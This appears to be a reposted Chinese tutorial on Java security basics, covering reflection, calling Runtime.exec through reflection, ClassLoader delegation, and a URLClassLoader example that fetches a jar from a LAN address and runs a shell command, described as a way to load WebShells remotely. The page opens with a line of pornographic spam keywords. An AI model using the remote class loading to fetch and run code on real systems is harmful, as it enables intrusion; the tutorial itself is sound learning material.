国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Java安全基礎之Java反射機制和ClassLoader類加載機制

這篇具有很好參考價值的文章主要介紹了Java安全基礎之Java反射機制和ClassLoader類加載機制。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

目錄
  • Java 反射機制
    • 反射 java.lang.Runtime
  • ClassLoader 類加載機制
    • URLClassLoader
    • loadClass() 與 Class.forName() 的區(qū)別?

Java 反射機制

Java 反射(Reflection)是 Java 非常重要的動態(tài)特性。在運行狀態(tài)中,通過 Java 的反射機制,我們能夠判斷一個對象所屬的類。了解任意一個類的所有屬性和方法。能夠調用任意一個對象的任意方法和屬性。

Java 反射機制可以無視類方法、變量的訪問權限修飾符,并且可以調用類的任意方法、訪問并修改成員變量值。

對于一般的程序員來說反射的意義不大,對于框架開發(fā)者來說,反射作用就非常大了,反射是各種容器、框架實現(xiàn)的核心技術。

獲取 Class 對象

Java 反射操作的是 java.lang.Class 對象,所以我們需要先想辦法獲取到 Class 對象。

  1. 類字面常量來獲取
Class<?> name = MyClass.class;
  1. 通過對象獲取 getClass() 方法
MyClass obj = new MyClass();
Class<?> name = obj.getClass();
  1. 通過全限定名獲取 Class.forName() 方法
Class<?> name = Class.forName("java.lang.Runtime");
  1. 使用 getSystemClassLoader().loadClass() 方法
Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");

獲取類成員變量

  1. getDeclaredFields 方法

獲得類的成員變量數(shù)組,包括 public、private 和 proteced,但是不包括父類的聲明字段。

Field[] fields = classname.getDeclaredFields();
  1. getDeclaredField 方法

該方法與 getDeclaredFields 的區(qū)別是只能獲得類的單個成員變量。

Field field  = classname.getDeclaredField("變量名");
  1. getFields 方法

getFields 能夠獲得某個類的所有的 public 字段,包括父類中的字段。

Field[] fields = classname.getFields();
  1. getField 方法

與 getFields 類似,getField 方法能夠獲得某個類特定的 public 字段,包括父類中的字段。

Field field = classname.getField(("變量名");

獲取類方法

  1. getDeclaredMethods 方法

返回類或接口聲明的所有方法,包括 public、protected、private 和默認方法,但不包括繼承的方法。

Method[] methods = classname.getDeclaredMethods()
  1. getDeclaredMethod 方法

只能返回一個特定的方法,該方法的第一個參數(shù)為方法名,第二個參數(shù)名是方法參數(shù)。

Method methods = classname.getDeclaredMethods("方法名")
  1. getMethods 方法

返回某個類的所有 public 方法,包括其繼承類的 public 方法。

Method[] methods = classname.getMethods();
  1. getMethod 方法

只能返回一個特定的方法,該方法的第一個參數(shù)為方法名稱,后面的參數(shù)為方法的參數(shù)對應 Class 的對象。

Method method = clazz.getMethod("方法名");

反射 java.lang.Runtime

java.lang.Runtime 有一個 exec 方法,可以反射調用 Runtime 類來執(zhí)行本地系統(tǒng)命令。

不使用反射執(zhí)行本地命令:

import java.io.IOException;

public class Exec {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

反射 Runtime 執(zhí)行本地命令:

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionExec {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
            InvocationTargetException, IllegalAccessException {
        // 獲取 Runtime 類
        Class<?> clazz = Class.forName("java.lang.Runtime");

        // 獲取 Runtime 類的 getRuntime() 方法
        Method getRuntimeMethod = clazz.getMethod("getRuntime");

        // 調用 getRuntime() 方法,獲取 Runtime 對象
        Object runtimeObject = getRuntimeMethod.invoke(null);

        // 獲取 exec(String command) 方法
        Method execMethod = clazz.getMethod("exec", String.class);

        // 執(zhí)行系統(tǒng)命令
        execMethod.invoke(runtimeObject, "clac");
    }
}

間接的調用 Runtime 的 exec 方法執(zhí)行本地系統(tǒng)命令。

Java安全基礎之Java反射機制和ClassLoader類加載機制

反射機制的功能很強大,不安全的反射可能會帶來致命的漏洞。

ClassLoader 類加載機制

Java 是編譯型語言,編寫的 java 文件需要編譯成后 class 文件后才能夠被 JVM 運行。類加載器 ClassLoader 負責加載類文件,生成對應的 Class 對象。

JVM 提供的三種類加載器

  1. Bootstrap ClassLoader(啟動類加載器)

負責加載 Java 的核心類,比如 java.lang.Object 等。它是由 C++ 實現(xiàn)的,并且不是 Java 類。

  1. Extension ClassLoader(擴展類加載器)

負責加載 Java 的擴展類,位于 <JAVA_HOME>/lib/ext 目錄下的JAR包或類。

  1. System ClassLoader(系統(tǒng)類加載器)

也稱為應用類加載器,負責加載應用程序的類,通常從 classpath 中加載類。

值得注意的是,Bootstrap ClassLoader 它是 JVM 自身的一部分,并不是 ClassLoader 的子類,無法直接獲取對其的引用。所以嘗試獲取被 Bootstrap ClassLoader 類加載器所加載的類的 ClassLoader 時候都會返回 null。

除了這三種,還可以自定義類加載器。

ClassLoader 類中和加載類相關的方法

  • getParent() 返回該類加載器的父類加載器

  • loadClass() 加載指定的類

  • findClass() 查找指定的類

  • findLoadedClass() 查找已經(jīng)被加載過的類

  • defineClass() 定義一個類

  • resolveClass() 鏈接指定的Java類

ClassLoader類加載流程

  1. 檢查是否已經(jīng)加載過類

在加載類之前,會首先使用 findLoadedClass() 方法判斷該類是否已經(jīng)被加載,如果已經(jīng)加載過,則直接返回對應的 Class 對象。

  1. 委托給父類加載器

如果未被加載,則優(yōu)先使用加載器的父類加載器進行加載,如果加載成功,則返回對應的 Class 對象。

  1. 自行嘗試加載類

如果父類加載器無法加載該類,或者父類加載器為空,則會調用自身的 findClass() 方法嘗試自行加載該類。

  1. 鏈接和初始化

在成功加載類之后,類加載器會對其進行鏈接和初始化操作。

  1. 返回 Class 對象

返回一個被 JVM 加載后的 java.lang.Class 類對象。

ClassLoader 的 loadClass 方法核心邏輯代碼:

protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    synchronized (getClassLoadingLock(name)) {
        Class<?> c = findLoadedClass(name);
        if (c == null) {
            long t0 = System.nanoTime();
            try {
                if (parent != null) {
                    c = parent.loadClass(name, false);
                } else {
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
            }
            if (c == null) {
                c = findClass(name);
            }
        }
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }
 }

自定義的類加載器

通過重寫 findClass() 方法,利用 defineClass() 方法來將字節(jié)碼轉換成 java.lang.class 類對象,可以實現(xiàn)自定義的類加載器。

URLClassLoader

URLClassLoader 類是 ClassLoader 的一個實現(xiàn),擁有從遠程服務器上加載類的能力。

通過 URLClassLoader 可以實現(xiàn)遠程的類方法調用,可以實現(xiàn)對一些 WebShell 的遠程加載。

例如:通過 URLClassLoader 來加載一個遠程的 jar 包執(zhí)行本地命令

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {
    public static void main(String[] args) throws IOException,
            ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
			IllegalAccessException {

        // 定義遠程加載的jar的URL路徑
        URL url = new URL("http://192.168.88.150/CMD.jar");

        // 創(chuàng)建URLClassLoader對象,并加載遠程jar包
        URLClassLoader ucl = new URLClassLoader(new URL[]{url});

        // 通過URLClassLoader加載遠程jar包中的CMD類
        Class<?> cmdClass = ucl.loadClass("CMD");

        String cmd = "ls";
        // 調用CMD類中的exec方法
        Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

        // 獲取命令執(zhí)行結果的輸入流
        InputStream in = process.getInputStream();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int a = -1;

        // 讀取命令執(zhí)行結果
        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        // 輸出命令執(zhí)行結果
        System.out.println(baos.toString());
    }
}

其中遠程的 CMD.jar 中就一個 CMD.class 文件,對應的 CMD.java 如下:

import java.io.IOException;

public class CMD {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}

成功調用 CMD 類中的 exec 方法,執(zhí)行了 ls 命令。

Java安全基礎之Java反射機制和ClassLoader類加載機制

loadClass() 與 Class.forName() 的區(qū)別?

loadClass() 方法和 Class.forName() 方法都可以用于在運行時加載類。

主要區(qū)別:

  • loadClass() 方法是 ClassLoader 類的一個方法,通過指定的類加載器加載類,它在加載類時不會自動執(zhí)行類的靜態(tài)初始化代碼。

  • Class.forName() 方法是 java.lang.Class 類的一個靜態(tài)方法,它在加載類時會自動執(zhí)行類的靜態(tài)初始化代碼。


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ文章來源地址http://www.zghlxwxcb.cn/news/detail-855160.html

到了這里,關于Java安全基礎之Java反射機制和ClassLoader類加載機制的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如若轉載,請注明出處: 如若內容造成侵權/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領支付寶紅包贊助服務器費用

相關文章

  • 【C#】反射機制,動態(tài)加載類文件

    【C#】反射機制,動態(tài)加載類文件

    【C#】編號生成器(定義單號規(guī)則、固定字符、流水號、業(yè)務單號) 本文鏈接:https://blog.csdn.net/youcheng_ge/article/details/129129787 【C#】日期范圍生成器(開始日期、結束日期) 本文鏈接:https://blog.csdn.net/youcheng_ge/article/details/129040663 【C#】組件化開發(fā),調用dll組件方法 本文鏈接

    2024年02月11日
    瀏覽(16)
  • 【JAVA基礎】JVM之類加載--雙親委派機制

    【JAVA基礎】JVM之類加載--雙親委派機制

    1. 類加載的過程 描述: 我們寫的 .java 文件通過編譯成字節(jié)碼文件 .class 文件,然后再通過我們的類加載器:Class Loader,反射以后,類模板存在方法區(qū),把實例化的對象存在堆里; 看圖: 對象的hashcode值 解釋: 從圖中我們可以看出,從同一個類模板new出來三個對象(實例化

    2024年01月23日
    瀏覽(26)
  • Java筆記040-反射/反射機制、Class類

    Java筆記040-反射/反射機制、Class類

    目錄 反射(reflection) 一個需求引出反射 反射機制 Java反射機制原理圖 Java反射機制可以完成 反射相關的主要類 反射機制的優(yōu)點和缺點 反射調用優(yōu)化-關閉訪問檢查 Class類 基本介紹 代碼解釋部分 類加載方法 應用實例:Class02.java 獲取Class類對象 代碼解釋部分 哪些類型有Class對象

    2024年02月09日
    瀏覽(20)
  • Java反射、代理機制

    官方解釋:反射允許對封裝類的字段、方法和構造方法的信息進行編程訪問。 虛擬機加載類文件后,會在方法區(qū)生成一個類對象,包含了類的結構信息,如字段、方法、構造方法等。反射是一種能夠在程序運行時動態(tài)訪問、修改類對象中任意屬性的機制(包括private屬性)。

    2024年02月10日
    瀏覽(17)
  • Java的反射機制

    Java 的反射機制允許在程序運行期間,借助反射 API 獲取類的內部信息,并能直接操作對象的內部屬性及方法。 Java 反射機制提供的功能: 在運行時,使用反射分析類的能力,獲取有關類的一切信息(類所在的包、類實現(xiàn)的接口、標注的注解、類的數(shù)據(jù)域、類的構造器、類的

    2024年02月02日
    瀏覽(22)
  • Java的反射機制(2)

    目錄 Class類基本介紹 Class類的常用方法 如何獲取class類對象 哪些類型有Class對象 Class類基本介紹 在Java語言中,每個對象都有一個運行時類,即其所屬的類。而這個運行時類在Java中是以Class類的實例形式存在的,該Class類實例就是所謂的Class對象。Class類表示一個類或接口的元

    2024年02月08日
    瀏覽(20)
  • Java反射機制深入詳解

    一.概念 反射就是把Java的各種成分映射成相應的Java類。 Class類的構造方法是private,由JVM創(chuàng)建。 反射是java語言的一個特性,它允程序在運行時(注意不是編譯的時候)來進行自我檢查并且對內部的成員進行操作。例如它允許一個java的類獲取他所有的成員變量和方法并且顯示

    2024年02月06日
    瀏覽(40)
  • Java反射機制是什么?

    Java反射機制是什么?

    Java 反射機制 是 Java 語言的一個重要特性。 在學習 Java 反射機制前,大家應該先了解兩個概念,編譯期和運行期。 編譯期 是指把源碼交給編譯器編譯成計算機可以執(zhí)行的文件的過程。在 Java 中也就是把 Java 代碼編成 class 文件的過程。編譯期只是做了一些翻譯功能,并沒有把

    2024年02月12日
    瀏覽(11)
  • 【JavaSE】Java的反射機制

    1.java反射機制 1.1簡介 被視為動態(tài)語言的關鍵,允許程序在執(zhí)行期間,借助于RefectionAPI取得任何類的內部信息。在程序的運行狀態(tài)中,可以構造任意一個類的對象,可以了解任意一個類對象所屬的類,可以了解任意一個類的成員變量和方法,可以調用任意一個對象的屬性和方

    2024年04月26日
    瀏覽(19)
  • Java重點:反射機制的使用

    Java重點:反射機制的使用

    目錄 一、概念 二、類類 1、類類的獲取方式 1)類名.Class 2)對象.getClass() 3)Class.forName() 三、反射實例化 1、調用一個公有的無參構造方法 2、調用一個公有的一個參構造方法 3、調用一個公有的兩個參構造方法 4、調用一個私有的一個參構造方法 四、反射:方法調用 1、公有

    2024年02月07日
    瀏覽(19)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包